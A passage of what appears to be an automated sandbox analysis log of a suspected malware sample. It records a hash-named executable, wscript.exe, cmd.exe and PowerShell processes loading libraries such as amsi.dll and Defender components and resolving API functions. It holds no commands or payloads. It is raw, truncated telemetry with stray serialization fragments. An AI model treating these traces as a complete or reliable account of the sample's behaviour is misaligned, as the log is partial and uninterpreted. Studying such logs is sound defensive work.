"C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00005716-00000C15-1771381414 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll" at 00000000-00005716-00000C15-1774146686 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00005716-00000C15-1774202024 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00005716-00000C15-1774214188 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00005716-00000C15-1774214479 "powershell.exe" queries volume information of "C:\" at 00000000-00005716-00000C15-1775144411 "powershell.exe" queries volume information of "C:\share" at 00000000-00005716-00000C15-1775145789 "powershell.exe" queries volume information of "C:\share" at 00000000-00005716-00000C15-1775249538 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005716-00000C15-1776451029 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005716-00000C15-1776985718 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005716-00000C15-1777622777 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005716-00000C15-1777825725 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll" at 00000000-00005716-00000C15-1777877394 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll" at 00000000-00005716-00000C15-1777917010 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005716-00000C15-1777976606 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005716-00000C15-1778063646 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll" at 00000000-00006632-00000C15-178019865630:T604d,"1544dbca0efc2c0105dd7d52a21a8891.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\UXTHEME.dll (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\USERENV.dll (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\SETUPAPI.dll (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\APPHELP.dll (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\PROPSYS.dll (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\DWMAPI.dll (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\CRYPTBASE.dll (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\OLEACC.dll (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\CLBCATQ.dll (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\NTMARTA.dll (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\VERSION.dll (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\SHFOLDER.dll (UID: 00000000-00003308) "wscript.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003468) "wscript.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003468) "wscript.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003468) "wscript.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003468) "wscript.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003468) "wscript.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00003468) "wscript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00003468) "wscript.exe" called "LoadLibrary" with a parameter WLDP.DLL (UID: 00000000-00003468) "wscript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00003468) "wscript.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003468) "wscript.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MPCLIENT.DLL (UID: 00000000-00003468) "wscript.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MsMpLics.dll (UID: 00000000-00003468) "wscript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00003468) "wscript.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00003468) "wscript.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00003468) "wscript.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00003468) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003320) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003320) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003320) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003320) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.Mf49f6405#\e7f9e4af50c666b5fec85987c303915a\Microsoft.Management.Infrastr (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MPCLIENT.DLL (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MsMpLics.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00005716) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.Mf49f6405#\e7f9e4af50c666b5fec85987c303915a\Microsoft.Management.Infrastr (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MPCLIENT.DLL (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MsMpLics.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00006632) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\diasymreader.dll (UID: 00000000-00006632)31:T17275,"1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003308) 